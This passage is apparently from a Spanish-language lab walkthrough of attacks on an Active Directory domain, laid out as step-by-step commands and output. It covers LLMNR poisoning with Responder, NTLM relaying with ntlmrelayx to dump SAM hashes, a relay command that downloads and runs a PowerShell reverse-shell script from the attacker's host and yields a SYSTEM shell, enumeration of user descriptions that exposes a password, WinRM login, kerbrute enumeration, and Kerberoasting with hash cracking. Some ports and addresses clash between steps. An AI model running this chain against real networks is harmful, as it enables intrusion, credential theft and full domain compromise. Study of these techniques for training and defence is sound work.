Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Hemos crackeado la contraseña del usuario víctima -> Administrator:P4$$W0rd!!!#

Attack (IPv4)


Para que funcione, debemos de realizar algunos cambios en el fichero de configuración de responder (/usr/share/responder/Responder.conf).

En algunos Controladores de Dominio, hay algunos usuarios que tienen privilegios en otros usuarios, como en este caso ya que, el usuario usuario es privilegiado sobre cordy:

1
2
3
4
5
6
7
8
❯ cme smb 192.168.10.1/24 -u 'usuario' -p 'Password2'
SMB         192.168.0.109   445    SARA             [*] Windows 10.0 Build 19041 x64 (name:SARA) (domain:SARA) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.0.109   445    SARA             [-] SARA\usuario:Password2 STATUS_LOGON_FAILURE 
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\usuario:Password2 (Pwn3d!)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\usuario:Password2 
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\usuario:Password2 (Pwn3d!)

Aquí podemos ver que usuario es privilegiado en W3-PC. Esto podría deberse a que usuario está en el grupo Administrators en dicho host.

Ahora, podemos usar una herramienta llamada ntlmrelayx.py. Ésta, nos dará la habilidad de añadir un fichero objetivo. Estando dicho fichero en el host W3-PC, necesitamos en primer lugar, numerar todos los hosts que están conectados a la red:

1
2
3
4
5
❯ cme smb 192.168.10.1/24
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.109   445    SARA             [*] Windows 10.0 Build 19041 x64 (name:SARA) (domain:SARA) (signing:False) (SMBv1:False)

Podemos ver que nuestro objetivo está conectado a la red (192.168.10.120).

Ponemos en marcha el responder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
❯ responder -I wlan0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [wlan0]
    Responder IP               [192.168.10.106]
    Responder IPv6             [fe80::1726:b490:48e1:fe89]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-FNJO9M3RFSM]
    Responder Domain Name      [BRLS.LOCAL]
    Responder DCE-RPC Port     [48876]

[+] Listening for events...

Lanzamos la herramienta ntlmrelayx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ python3 ntlmrelayx.py -tf target -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

Como usuario tiene privilegios sobre cordy, podemos tomar ventaja de ello para ganar accesoa al recurso inexistente.

Ahora, chequeamos la herramienta ntlmrelayx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ python3 ntlmrelayx.py -tf target -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, attacking target smb://192.168.10.120
[*] Authenticating against smb://192.168.10.120 as waidroc/usuario SUCCEED
[*] SMBD-Thread-5 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] SMBD-Thread-7 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, but there are no more targets left!
[*] Target system bootKey: 0x9e439fee9a0f33d64ef508d183eafb2f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] SMBD-Thread-8 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, but there are no more targets left!
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7b75aeef3ea91facb4cd29e7da7832d9:::
cordy:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Done dumping SAM hashes for host: 192.168.10.120
[*] Stopping service RemoteRegistry

Hemos conseguido volcar el fichero SAM, pero con ntlmrelayx podríamos hacer cosas más interesantes, como ejecutar comandos en la víctima. Para ello, tendríamos que ganar acceso al host W3-PC y, para hacerlo, seguimos los siguientes pasos:

Primero, clonamos el repositorio nishang. Ahora, nos desplazamos hasta el directorio Shells y copiamos el script Invoke-PowerShellTcp.ps1 a nuestro directorio de trabajo.

1
2
3
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .mv Invoke-PowerShellTcp.ps1 PS.ps1

Después, en la última línea del script, añadimos nuestra IP y el puerto.

Ahora, iniciamos con python3 un simple servidor web:

1
2
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

A su vez, nos quedamos en escucha con netcat

1
2
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...

Volvemos a iniciar el responder para el envenenamiento de la red:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
❯ responder -I wlan0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [wlan0]
    Responder IP               [192.168.10.106]
    Responder IPv6             [fe80::1726:b490:48e1:fe89]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-GSAPAVAME65]
    Responder Domain Name      [8DXY.LOCAL]
    Responder DCE-RPC Port     [49327]

[+] Listening for events...

Iniciamos también la herramienta ntlmrelayx con los siguientes parámetros:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ python3 ntlmrelayx.py -tf target -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.10.106:8080/PS.ps1')"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

Por útlimo, en la máquina víctima, abrimos el fichero inexistente que acabamos de poner en el host infectado PS.ps1.

Si volvemos a chequear el estado de la herramienta ntlmrelayx podríamos ver lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ python3 ntlmrelayx.py -tf target -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.0.106:8000/PS.ps1')"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, attacking target smb://192.168.10.120
[*] Authenticating against smb://192.168.10.120 as waidroc/usuario SUCCEED
[*] SMBD-Thread-5 (process_request_thread): Connection from waidroc/usuario@192.168.10.110 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry

Comprobamos la shell donde teníamos netcat en ejecución, estando a la escucha, para ver si hemos ganado una reverse shell hacia el host víctima:

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvnp 4646
listening on [any] 4646 ...
connect to [192.168.0.106] from (UNKNOWN) [192.168.10.120] 49788
Windows PowerShell running as user W3-PC$ on W3-PC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\Windows\system32> 

¡¡HEMOS CONSEGUIDO ACCESO COMO NT AUTHORITY\SYSTEM EN W3-PC!!

Consiguiendo información de los usuarios


Muchas veces los usuarios ponen información sensible en sus propias descripciones de usuario, como contraseñas, emails (realizar futuro phising para conseguir contraseña), números de teléfono (futuro ataque de ingeniería social)… Por eso, necesitamos enumerar todo para conseguir la mayor información posible.

Si una sesión null de rpcclient está disponible, deberías de apagarla ahora. Si no esta disponible, estaría mejor, pero siempre corremos el riesgo de que un ataque tenga o consiga las credenciales para poder iniciar la conexión.

Como ejemplo, pongamos que un usuario llamado mrincognito tiene una información interesante en su descripción:

1
2
3
4
5
6
7
❯ rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x'
[Administrator]
[Guest]
[krbtgt]
[cordy]
[usuario]
[mrincognito]

También podemos conseguir los IDs de cada uno de los usuarios del sistema (rid):

1
2
3
4
5
6
7
❯ rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep '0x' | tr -d '[]'
0x1f4
0x1f5
0x1f6
0x44f
0x452
0x454

Con la siguiente expresión regular, podemos ver toda la información del usuario:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for rid in $(rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep '0x' | tr -d '[]'); do echo -e "\n[+] For the RID $rid:\n"; rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115 -c "queryuser $rid" | grep -E -i "user name|description" ;done

[+] For the RID 0x1f4:

	User Name   :	Administrator
	Description :	Built-in account for administering the computer/domain

[+] For the RID 0x1f5:

	User Name   :	Guest
	Description :	Built-in account for guest access to the computer/domain

[+] For the RID 0x1f6:

	User Name   :	krbtgt
	Description :	Key Distribution Center Service Account

[+] For the RID 0x44f:

	User Name   :	cordy
	Description :	

[+] For the RID 0x452:

	User Name   :	usuario
	Description :	

[+] For the RID 0x454:

	User Name   :	mrincognito
	Description :	Temporal Password: Mypassword123#

Podemos ver que, el usuario mrincognito ha dejado una Descripción realmente interesante, la cual nos muestra que la contraseña temporal es Mypasword123#.

Intentemos conectarnos vía evil-winrm:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -i 192.168.10.115 -u mrincognito -p 'Mypassword123#'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mrincognito\Documents> whoami
waidroc\mrincognito
*Evil-WinRM* PS C:\Users\mrincognito\Documents> 

En el caso de que este usuario pueda conectase al DC, tendríamos control total sobre la red, por este simple error del usuario.

En el siguiente recurso, podréis ver como funcionan las conexiones con WinRM.

Enumerating Admin Groups


Unas de las cosas que tienes que comprobar si dispones de alguna credencial o una null session vía rpcclient es enumerar todos los usuarios administradores en busca de información sensible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
❯ rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
rpcclient $> querygroupmem 0x200
	rid:[0x1f4] attr:[0x7]
	rid:[0x454] attr:[0x7]
	rid:[0x455] attr:[0x7]
rpcclient $> queryuser 0x1f4
	User Name   :	Administrator
	Full Name   :	
	Home Drive  :	
	Dir Drive   :	
	Profile Path:	
	Logon Script:	
	Description :	Built-in account for administering the computer/domain
	Workstations:	
	Comment     :	
	Remote Dial :
	Logon Time               :	jue, 25 may 2023 17:36:49 CEST
	Logoff Time              :	jue, 01 ene 1970 01:00:00 CET
	Kickoff Time             :	jue, 14 sep 30828 04:48:05 CEST
	Password last set Time   :	mar, 23 may 2023 16:39:28 CEST
	Password can change Time :	mié, 24 may 2023 16:39:28 CEST
	Password must change Time:	jue, 14 sep 30828 04:48:05 CEST
	unknown_2[0..31]...
	user_rid :	0x1f4
	group_rid:	0x201
	acb_info :	0x00000210
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000020
	padding1[0..7]...
	logon_hrs[0..21]...
rpcclient $> queryuser 0x454
	User Name   :	mrincognito
	Full Name   :	Sabina Romero
	Home Drive  :	
	Dir Drive   :	
	Profile Path:	
	Logon Script:	
	Description :	Temporal Password: Mypassword123#
	Workstations:	
	Comment     :	
	Remote Dial :
	Logon Time               :	jue, 01 ene 1970 01:00:00 CET
	Logoff Time              :	jue, 01 ene 1970 01:00:00 CET
	Kickoff Time             :	jue, 14 sep 30828 04:48:05 CEST
	Password last set Time   :	jue, 25 may 2023 17:11:24 CEST
	Password can change Time :	vie, 26 may 2023 17:11:24 CEST
	Password must change Time:	jue, 14 sep 30828 04:48:05 CEST
	unknown_2[0..31]...
	user_rid :	0x454
	group_rid:	0x201
	acb_info :	0x00000210
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000000
	padding1[0..7]...
	logon_hrs[0..21]...
rpcclient $> queryuser 0x455
	User Name   :	svc_sql
	Full Name   :	SVC_SQLService
	Home Drive  :	
	Dir Drive   :	
	Profile Path:	
	Logon Script:	
	Description :	
	Workstations:	
	Comment     :	
	Remote Dial :
	Logon Time               :	jue, 01 ene 1970 01:00:00 CET
	Logoff Time              :	jue, 01 ene 1970 01:00:00 CET
	Kickoff Time             :	jue, 14 sep 30828 04:48:05 CEST
	Password last set Time   :	jue, 25 may 2023 17:45:40 CEST
	Password can change Time :	vie, 26 may 2023 17:45:40 CEST
	Password must change Time:	jue, 14 sep 30828 04:48:05 CEST
	unknown_2[0..31]...
	user_rid :	0x455
	group_rid:	0x201
	acb_info :	0x00000210
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000000
	padding1[0..7]...
	logon_hrs[0..21]...
rpcclient $> 

De nuevo, podemos ver que el usuario mrincognito tiene la credencial temporal anotada en la descripción.

Otra forma de ver la misma información de una manera más organizada sería con la herramienta ldapdomaindump, la cual veremos en el siguiente apartado.

LDAP Enumeration


1
2
3
4
5
6
7
8
9
10
11
12
❯ service apache2 start
                                                                                                                                                                                                                                
❯ python3 /opt/ldapdomaindump/ldapdomaindump.py -u 'waidroc.local\usuario' -p 'Password2' 192.168.10.115
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
                                                                                                                                                                                                                                
❯ ls
domain_computers_by_os.html  domain_computers.html  domain_groups.grep  domain_groups.json  domain_policy.html  domain_trusts.grep  domain_trusts.json          domain_users.grep  domain_users.json
domain_computers.grep        domain_computers.json  domain_groups.html  domain_policy.grep  domain_policy.json  domain_trusts.html  domain_users_by_group.html  domain_users.html

Podremos ver toda la información sobre usuarios, políticas, hosts, grupos…, en todos los reportes que la herramienta nos ha realizado en formato html

Kerbrute


La herramienta kerbrute es bastante útil ya que, enumera usuarios de dominio por fuerza bruta gracias al protocolo kerberos. Se puede instalar directamente en sistemas basados en debian vía apt (apt-get install kerbrute).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ ./kerbrute userenum users --dc dc.waidroc.local -d waidroc.local

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/25/23 - Ronnie Flathers @ropnop

2023/05/25 19:54:40 >  Using KDC(s):
2023/05/25 19:54:40 >  	dc.waidroc.local:88

2023/05/25 19:54:40 >  [+] VALID USERNAME:	cordy@waidroc.local
2023/05/25 19:54:40 >  [+] VALID USERNAME:	svc_sql@waidroc.local
2023/05/25 19:54:40 >  [+] VALID USERNAME:	usuario@waidroc.local
2023/05/25 19:54:40 >  [+] VALID USERNAME:	Administrator@waidroc.local
2023/05/25 19:54:40 >  [+] VALID USERNAME:	mrincognito@waidroc.local
2023/05/25 19:54:40 >  Done! Tested 7 usernames (5 valid) in 0.033 seconds

Debemos de escoger un buen diccionario para enumerar usuarios potenciales. Un buen repositorio de diccionarios y que uso un montón, es el de Seclists.

Kerberoasting


Kroasting

El kerberoasting es una técnica que podemos utilizar para apuntar a cuentas de servicio en un entorno de Active Directory de Windows. Nos aprovecharíamos de la forma en que funciona la autenticación Kerberos para los servicios que utilizan Kerberos para obtener tickets de servicio.

¿Como funciona el Kerberoasting?

  • Comenzamos identificando cuentas de servicio en el entorno de Active Directory. Estas cuentas de servicio se utilizan típicamente para ejecutar diversos servicios o aplicaciones.

  • Luego, consultamos el Active Directory en busca de cuentas de servicio que tengan Nombres Principales de Servicio (SPN) asociados. Los SPN identifican de manera única los servicios registrados en el dominio.

  • Una vez que tenemos una lista de cuentas de servicio con SPN, solicitamos un ticket de servicio (TGS) para cada una de estas cuentas. Hacemos esto utilizando nuestra cuenta de usuario regular y proporcionando el SPN de la cuenta de servicio que queremos atacar.

  • El DC emite un ticket de servicio cifrado con la contraseña de la cuenta de servicio, la cual no conocemos.

  • Extraemos los tickets de servicio cifrados y los guardamos en un archivo.

Ahora podemos usar una herramienta como john para realizar un ataque de fuerza bruta a la contraseña de la cuenta de servicio y obtener la contraseña en texto plano.

IMAGENKR

Cuando tenemos la contraseña en texto plano, podemos acceder a otros sistemas o servicios que usen las mismas credenciales. Esto puede llevar a una escalada de privilegios adicional y a un movimiento lateral dentro de la red.

Para poder realizar este ataque, debemos de saber alguna contraseña de cualquier usuario. Usaremos la herramienta impacket-GetSPNs:

1
2
3
4
5
6
❯ impacket-GetUserSPNs waidroc.local/usuario:Password2
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName                    Name     MemberOf                                                      PasswordLastSet             LastLogon  Delegation 
--------------------------------------  -------  ------------------------------------------------------------  --------------------------  ---------  ----------
waidroc.local/svc_sql.W2-PC  svc_sql  CN=Group Policy Creator Owners,CN=Users,DC=waidroc,DC=local  2023-05-25 17:45:40.182610  <never>               

Teniendo las credenciales de usuario, podemos comprobar que el ataque podría realizarse.

Vamos a comprobar si también funciona con el usuario mrincognito para asegurarnos que realmente funciona.

1
2
3
4
5
6
❯ impacket-GetUserSPNs waidroc.local/mrincognito:Mypassword123#
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName                    Name     MemberOf                                                      PasswordLastSet             LastLogon  Delegation 
--------------------------------------  -------  ------------------------------------------------------------  --------------------------  ---------  ----------
waidroc.local/svc_sql.W2-PC  svc_sql  CN=Group Policy Creator Owners,CN=Users,DC=waidroc,DC=local  2023-05-25 17:45:40.182610  <never>               

También funciona con mrincognito

Ahora, con el parámetro -request vamos a solicitar al DC un TGS(Ticket Granted Service).

1
2
3
4
5
6
7
8
9
10
11
❯ impacket-GetUserSPNs waidroc.local/usuario:Password2 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName                    Name     MemberOf                                                      PasswordLastSet             LastLogon  Delegation 
--------------------------------------  -------  ------------------------------------------------------------  --------------------------  ---------  ----------
waidroc.local/svc_sql.W2-PC  svc_sql  CN=Group Policy Creator Owners,CN=Users,DC=waidroc,DC=local  2023-05-25 17:45:40.182610  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_sql$waidroc.LOCAL$waidroc.local/svc_sql*$2c96d610678cfd87f24250d68db8087d$06f3d94af90acf738c93783b7496fcc9f9b1414242eb0b9722178db43b895dd7bd1f07952e7e4d65d11387db194b912fb60a9188b69396f6bd79273b2ecee453856e0df06cd1b2f23a4d0af5edf965c974e0d581fea7afbef6df7e94827fe972fa49fb9d3b9692217eb60bb4c1547125827c09a691445a0433bcdbe4f6760a88d30982f501276a98344393eb9874980fbcbd7a7211b2c70d0929a3124219781bffb363884013998de780565e9a14e1961afb04a0de808d4bc963e63432a5374b82114957992fb2b7685e7c8a8399ef89ed04573a465acf11308cbef05d8962beea2b3289fb92a1cd83b9fdbe45631a9150d7754dc56e833da4d30a76c58124db62a2a799849783ab81f9f73c2784a178e7f7f248e1fcf31040c9da328e4ba974cd25e0d54b957d273722a90ab81e86698f105aaba570194757a61d4ed66dd108f65c1f003fd7d812ef522c8485597d3bc2e7f227106e5e469b27a01f345d6dca9fa7657701aa7a3993c2174851b62636d66a94e4b5d21abf45f6f518bbb8e3c02444674354ca13b820c97b176874dec44c619d5152f5f42beb60f9ac1713574c3a51e38929f923207cc4e20e5bd2d03113a0dd5fe15f1ab88fa3aa72af52e64711e3ce2f130ed754393ab0bf0d9b1e109d827aa00dba8cd9c2844be5e84740a1e89b6de79d39dc35caa03d3bd2beae55226786696000ab64c03f3059842929d0f4e14c87605ef0360dba3b2aa15b0a3bbd6cf2b082c096cb99fd0775a9ceda70f7a15e6a3db2646ece1780cc6968c3a4c5c0cda1492f86cf74421084f4fa1a64fa87fc3528517e417e93ae999c4496d6108a3ddd04fa97fd317f8eb376ccd83cd023850240fb4ef0aa55346941f7b7b7b375c5c8b19da86969c1105d220b02887a89b05a6ea072368e2a9e838b09a25792de09fe2c908bf8da778eb25fb5feff431aaa17884ecb1f5602fef3b4960c01768af06ec0c8dc91cdffb43e988af60953b9ee2a0396b23ac968d8d747860a0f5c8e8254df90197fa784d04f458bef30f032c445eca51c048b440663de2d8fd8b4a7b6fbbfeec47578040be4829562374a72e4c35d27c7b789f9e590ac273050820a28111ad5fb91c0c8f572a48311c291b6935cf005c15155eb10ecab80c3264b4b4f6f94dbcb2a8008c65d508007fbd0dd05114edfdecda0bc1b5bdd89580ee63759a316e48307d67e7df245cd577eea19538741382c8c0a97ee25f81a75ed283ed42f99b23231bcadce7f6837854e35811d330a3eb8ca24ff6eee9678d5a4ebe1b7c4c5cad408f55362897a429ecce30638122839a74996873a77272f5a27d5b99fd5c1766676abb35ac4eb1265e6e987abc3123349badfb4288aea016be77c449449c130e48b5c910755b6a843538b0e37fd146c7fb60cd1600001a4c4e583dbe44b45b32323b72f0abcbe892ed32346702a939422bca891d7cb1ae88d006b8bb40c6506705bf98bda5a111d48e9205f5235ceb5bbee94fe0d1f661cefd929a10f18e36d10c0c2c6b5f9a748f8dc6e878268803ddea7991228401a94009f3697436930b58e29c590dc9d79c2550959de4d0a989edf194584b3e363759bdd2fe887d615c299226a0e3c13f1e2ce584fd4aa5598bc54554291aaeadf4e

Vamos a intentar crackear el hash obtenido con John The Ripper:

1
2
3
4
5
6
7
8
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mypassword123# (?)
0g 0:00:00:25 DONE (2023-05-25 18:26) 0g/s 559428p/s 559428c/s 559428C/s !!12Honey..*7¡Vamos!
Session completed.

